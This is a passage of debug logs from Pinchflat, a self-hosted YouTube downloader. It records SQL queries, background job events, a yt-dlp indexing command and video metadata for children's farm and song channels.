THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 13:14:10.797 [debug] QUERY OK source="media_items" db=6.4ms queue=0.1ms idle=15.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 13:14:10.805 [debug] QUERY OK source="tasks" db=0.7ms idle=15.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2348, 6, ~U[2026-09-03 03:14:10Z], ~U[2026-09-03 03:14:10Z]] 13:14:10.810 [info] {"args":{"id":6},"id":2341,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":135351515,"event":"job:stop","queue_time":390050,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:14:11.332 [debug] Current batch of media processed. Will check again in 1000ms 13:14:12.334 [debug] Current batch of media processed. Will check again in 1000ms 13:14:13.319 [info] {"source":"oban","duration":20046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:13.335 [debug] Current batch of media processed. Will check again in 1000ms 13:14:14.340 [debug] Current batch of media processed. Will check again in 1000ms 13:14:15.288 [info] {"args":{"id":7},"id":2343,"meta":{},"system_time":1788405255287788903,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:14:15.289 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=904.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:15.290 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=906.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.334 [debug] QUERY OK source="media_items" db=42.5ms queue=0.1ms idle=907.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 13:14:15.343 [debug] QUERY OK source="media_items" db=8.2ms queue=0.1ms idle=64.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 13:14:15.345 [debug] Current batch of media processed. Will check again in 1000ms 13:14:15.353 [debug] QUERY OK source="media_profiles" db=9.6ms queue=0.1ms idle=55.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:15.353 [debug] QUERY OK source="settings" db=0.2ms idle=64.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.354 [debug] QUERY OK source="settings" db=0.1ms idle=63.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.361 [debug] QUERY OK source="media_items" db=3.9ms idle=23.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [7] 13:14:15.364 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 13:14:15.364 [debug] Current batch of media processed. Will check again in 1000ms 13:14:15.365 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=21.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.365 [debug] QUERY OK source="settings" db=0.2ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.365 [debug] QUERY OK source="settings" db=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:15.365 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@OzzieForKids --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/7a/99/7a9973dff15426f8aca8194b01f59e94f4bf36a3f5a010ab671a3f7190d6c05e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/3d/91/3d91374bf227cd3c3359f64a87586cfb298f553f3de3dd662fbea29660b009da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:14:16.348 [debug] Current batch of media processed. Will check again in 1000ms 13:14:16.366 [debug] Current batch of media processed. Will check again in 1000ms 13:14:17.350 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Aunty is back at Mountainview Sunflowers in Tinonee for another farm adventure! 🌱🚜\n\nToday Rob shows us what else is growing on the farm β€” his delicious sugar snap peas and other crops including beans and peas. \n\nRob teaches Aunty what it’s like to grow crops on hills and the extra challenges farmers face when planting, caring for and harvesting crops on sloping land.\n\nIn this episode we:\n🌱 Explore the sugar snap pea crop\nLearn about growing and harvesting peas and beans\n🚜 Watch Rob prepare the paddocks by ploughing the ground\n⛰️ Discover what makes farming on hills different\nπŸ‘¨\u200D🌾 Learn about the hard work that goes into growing food\n\nA special thank you to Rob for providing the amazing footage of the tractor harvesting the beans, giving us a behind-the-scenes look at the machinery used on the farm. 🚜🌻\n\n#AuntysFarm #MountainviewSunflowers #SugarSnapPeas #FarmLife #HowFoodGrows #TractorsForKids #FarmEducation #AussieFarms #KidsLearning #CountryLife", "duration" => 635, "filename" => "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-30 - 🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills.mp4", "id" => "Bh51vfHAVXQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bh51vfHAVXQ", "playlist_index" => 3, "timestamp" => 1785391221, "title" => "🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills", "upload_date" => "20260730"} 13:14:17.351 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=964.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [10] 13:14:17.353 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=966.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:17.355 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=967.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-30 06:00:21Z], 10] 13:14:17.360 [debug] QUERY OK source="media_items" db=4.5ms queue=0.1ms idle=969.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Aunty is back at Mountainview Sunflowers in Tinonee for another farm adventure! 🌱🚜\n\nToday Rob shows us what else is growing on the farm β€” his delicious sugar snap peas and other crops including beans and peas. \n\nRob teaches Aunty what it’s like to grow crops on hills and the extra challenges farmers face when planting, caring for and harvesting crops on sloping land.\n\nIn this episode we:\n🌱 Explore the sugar snap pea crop\nLearn about growing and harvesting peas and beans\n🚜 Watch Rob prepare the paddocks by ploughing the ground\n⛰️ Discover what makes farming on hills different\nπŸ‘¨\u200D🌾 Learn about the hard work that goes into growing food\n\nA special thank you to Rob for providing the amazing footage of the tractor harvesting the beans, giving us a behind-the-scenes look at the machinery used on the farm. 🚜🌻\n\n#AuntysFarm #MountainviewSunflowers #SugarSnapPeas #FarmLife #HowFoodGrows #TractorsForKids #FarmEducation #AussieFarms #KidsLearning #CountryLife", "🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills", "83aed4b3-852b-4e4f-9150-93c92121bca8", 635, false, "Bh51vfHAVXQ", "https://www.youtube.com/watch?v=Bh51vfHAVXQ", 3, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-30 - 🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills.mp4", false, false, false, 10, [], 98, ~U[2026-07-30 06:00:21Z], ~U[2026-09-03 03:14:17Z], ~U[2026-09-03 03:14:17Z], "Aunty is back at Mountainview Sunflowers in Tinonee for another farm adventure! 🌱🚜\n\nToday Rob shows us what else is growing on the farm β€” his delicious sugar snap peas and other crops including beans and peas. \n\nRob teaches Aunty what it’s like to grow crops on hills and the extra challenges farmers face when planting, caring for and harvesting crops on sloping land.\n\nIn this episode we:\n🌱 Explore the sugar snap pea crop\nLearn about growing and harvesting peas and beans\n🚜 Watch Rob prepare the paddocks by ploughing the ground\n⛰️ Discover what makes farming on hills different\nπŸ‘¨\u200D🌾 Learn about the hard work that goes into growing food\n\nA special thank you to Rob for providing the amazing footage of the tractor harvesting the beans, giving us a behind-the-scenes look at the machinery used on the farm. 🚜🌻\n\n#AuntysFarm #MountainviewSunflowers #SugarSnapPeas #FarmLife #HowFoodGrows #TractorsForKids #FarmEducation #AussieFarms #KidsLearning #CountryLife", "🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills", 635, false, "Bh51vfHAVXQ", "https://www.youtube.com/watch?v=Bh51vfHAVXQ", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-30 - 🌱🚜 Aunty Visits Mountainview Sunflowers! Growing Peas, Beans & Farming on Hills.mp4", false, 10, ~U[2026-07-30 06:00:21Z]] 13:14:17.362 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=78.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:17.363 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=10.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:17.364 [debug] QUERY OK source="media_items" db=0.7ms idle=11.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12542] 13:14:17.365 [debug] Current batch of media processed. Will check again in 1000ms 13:14:17.368 [debug] Current batch of media processed. Will check again in 1000ms 13:14:18.366 [debug] Current batch of media processed. Will check again in 1000ms 13:14:18.369 [debug] Current batch of media processed. Will check again in 1000ms 13:14:19.376 [debug] Current batch of media processed. Will check again in 1000ms 13:14:19.376 [debug] Current batch of media processed. Will check again in 1000ms 13:14:20.379 [debug] Current batch of media processed. Will check again in 1000ms 13:14:20.379 [debug] Current batch of media processed. Will check again in 1000ms 13:14:21.381 [debug] Current batch of media processed. Will check again in 1000ms 13:14:21.381 [debug] Current batch of media processed. Will check again in 1000ms 13:14:22.383 [debug] Current batch of media processed. Will check again in 1000ms 13:14:22.383 [debug] Current batch of media processed. Will check again in 1000ms 13:14:23.384 [debug] Current batch of media processed. Will check again in 1000ms 13:14:23.385 [debug] Current batch of media processed. Will check again in 1000ms 13:14:24.385 [debug] Current batch of media processed. Will check again in 1000ms 13:14:24.386 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Join Aunty for this extra-long farm adventure as we follow the complete journey of building a fence from start to finish! 🌳🚜\n\nIn this special combined episode, we see how a Bloodwood tree is turned into strong fence posts, then follow the process as those posts become part of a real working farm fence.\n\nFrom the Australian bush to the paddock, we learn about the skills, tools and machinery farmers use to get the job done.\n\nIn this episode we:\n🌳 Turn a Bloodwood tree into fence posts\nπŸͺš Use the chainsaw to cut and prepare the timber\n🚜 Move logs and posts using tractors\n❀️ Learn why the tree is called a Bloodwood\nπŸ•³οΈ Use the borer to dig fence post holes\nπŸ”¨ See the post slammer in action\nπŸ“¦ Learn about box ends and how they strengthen a fence\nπŸ’§ Discover why farmers need to be careful around underground water lines\nπŸͺ΅ Build a barbed wire fence using the finished posts\n\nThis is a big farm job from beginning to end β€” showing how much work, planning and machinery goes into building a strong fence on a real farm.\n\nPerfect for kids who love tractors, construction, machinery and learning how things are made!\n\n#AuntysFarm #FarmFencing #FenceBuilding #TractorsForKids #FarmMachinery #Chainsaw #FarmLife #CountryKids #KidsLearning #AussieFarmLife", "duration" => 1313, "filename" => "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-23 - πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines.mp4", "id" => "qvUaO1j2ERo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qvUaO1j2ERo", "playlist_index" => 4, "timestamp" => 1784786418, "title" => "πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines", "upload_date" => "20260723"} 13:14:24.387 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1993.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [10] 13:14:24.387 [debug] QUERY OK source="sources" db=0.2ms idle=1994.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:24.388 [debug] QUERY OK source="media_items" db=0.6ms idle=1994.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 06:00:18Z], 10] 13:14:24.390 [debug] QUERY OK source="media_items" db=1.2ms idle=1075.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Aunty for this extra-long farm adventure as we follow the complete journey of building a fence from start to finish! 🌳🚜\n\nIn this special combined episode, we see how a Bloodwood tree is turned into strong fence posts, then follow the process as those posts become part of a real working farm fence.\n\nFrom the Australian bush to the paddock, we learn about the skills, tools and machinery farmers use to get the job done.\n\nIn this episode we:\n🌳 Turn a Bloodwood tree into fence posts\nπŸͺš Use the chainsaw to cut and prepare the timber\n🚜 Move logs and posts using tractors\n❀️ Learn why the tree is called a Bloodwood\nπŸ•³οΈ Use the borer to dig fence post holes\nπŸ”¨ See the post slammer in action\nπŸ“¦ Learn about box ends and how they strengthen a fence\nπŸ’§ Discover why farmers need to be careful around underground water lines\nπŸͺ΅ Build a barbed wire fence using the finished posts\n\nThis is a big farm job from beginning to end β€” showing how much work, planning and machinery goes into building a strong fence on a real farm.\n\nPerfect for kids who love tractors, construction, machinery and learning how things are made!\n\n#AuntysFarm #FarmFencing #FenceBuilding #TractorsForKids #FarmMachinery #Chainsaw #FarmLife #CountryKids #KidsLearning #AussieFarmLife", "πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines", "eb7ba625-62e0-49aa-95ce-883e4b9d98ce", 1313, false, "qvUaO1j2ERo", "https://www.youtube.com/watch?v=qvUaO1j2ERo", 4, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-23 - πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines.mp4", false, false, false, 10, [], 98, ~U[2026-07-23 06:00:18Z], ~U[2026-09-03 03:14:24Z], ~U[2026-09-03 03:14:24Z], "Join Aunty for this extra-long farm adventure as we follow the complete journey of building a fence from start to finish! 🌳🚜\n\nIn this special combined episode, we see how a Bloodwood tree is turned into strong fence posts, then follow the process as those posts become part of a real working farm fence.\n\nFrom the Australian bush to the paddock, we learn about the skills, tools and machinery farmers use to get the job done.\n\nIn this episode we:\n🌳 Turn a Bloodwood tree into fence posts\nπŸͺš Use the chainsaw to cut and prepare the timber\n🚜 Move logs and posts using tractors\n❀️ Learn why the tree is called a Bloodwood\nπŸ•³οΈ Use the borer to dig fence post holes\nπŸ”¨ See the post slammer in action\nπŸ“¦ Learn about box ends and how they strengthen a fence\nπŸ’§ Discover why farmers need to be careful around underground water lines\nπŸͺ΅ Build a barbed wire fence using the finished posts\n\nThis is a big farm job from beginning to end β€” showing how much work, planning and machinery goes into building a strong fence on a real farm.\n\nPerfect for kids who love tractors, construction, machinery and learning how things are made!\n\n#AuntysFarm #FarmFencing #FenceBuilding #TractorsForKids #FarmMachinery #Chainsaw #FarmLife #CountryKids #KidsLearning #AussieFarmLife", "πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines", 1313, false, "qvUaO1j2ERo", "https://www.youtube.com/watch?v=qvUaO1j2ERo", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-07-23 - πŸ› οΈ Building a Farm Fence from Scratch! Chainsaws, Tractors & Big Machines.mp4", false, 10, ~U[2026-07-23 06:00:18Z]] 13:14:24.391 [debug] QUERY OK source="sources" db=0.4ms idle=57.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:24.391 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:24.392 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12543] 13:14:24.392 [debug] Current batch of media processed. Will check again in 1000ms 13:14:25.388 [debug] Current batch of media processed. Will check again in 1000ms 13:14:25.393 [debug] Current batch of media processed. Will check again in 1000ms 13:14:26.390 [debug] Current batch of media processed. Will check again in 1000ms 13:14:26.395 [debug] Current batch of media processed. Will check again in 1000ms 13:14:27.399 [debug] Current batch of media processed. Will check again in 1000ms 13:14:27.400 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "πŸ’šπŸŽ΅ Sing along with Ozzie to I Love My Dad, a funny and feel-good Father’s Day song celebrating all the amazing dads and father figures out there!\n\nDads tell bad jokes, do funny dances, fall asleep watching TV and sometimes think they can fix absolutely anything! They can be silly, embarrassing and a little bit weird β€” but that’s exactly why we love them!\n\nGet ready to sing, dance, laugh and celebrate all the little things that make Dad special.\n\n🎡 I love my Dad!\nYes, I do!\nThere’s nobody quite as weird as you!\nI love my Dad!\nHe’s number one!\nHe’s silly, he’s crazy, he’s lots of 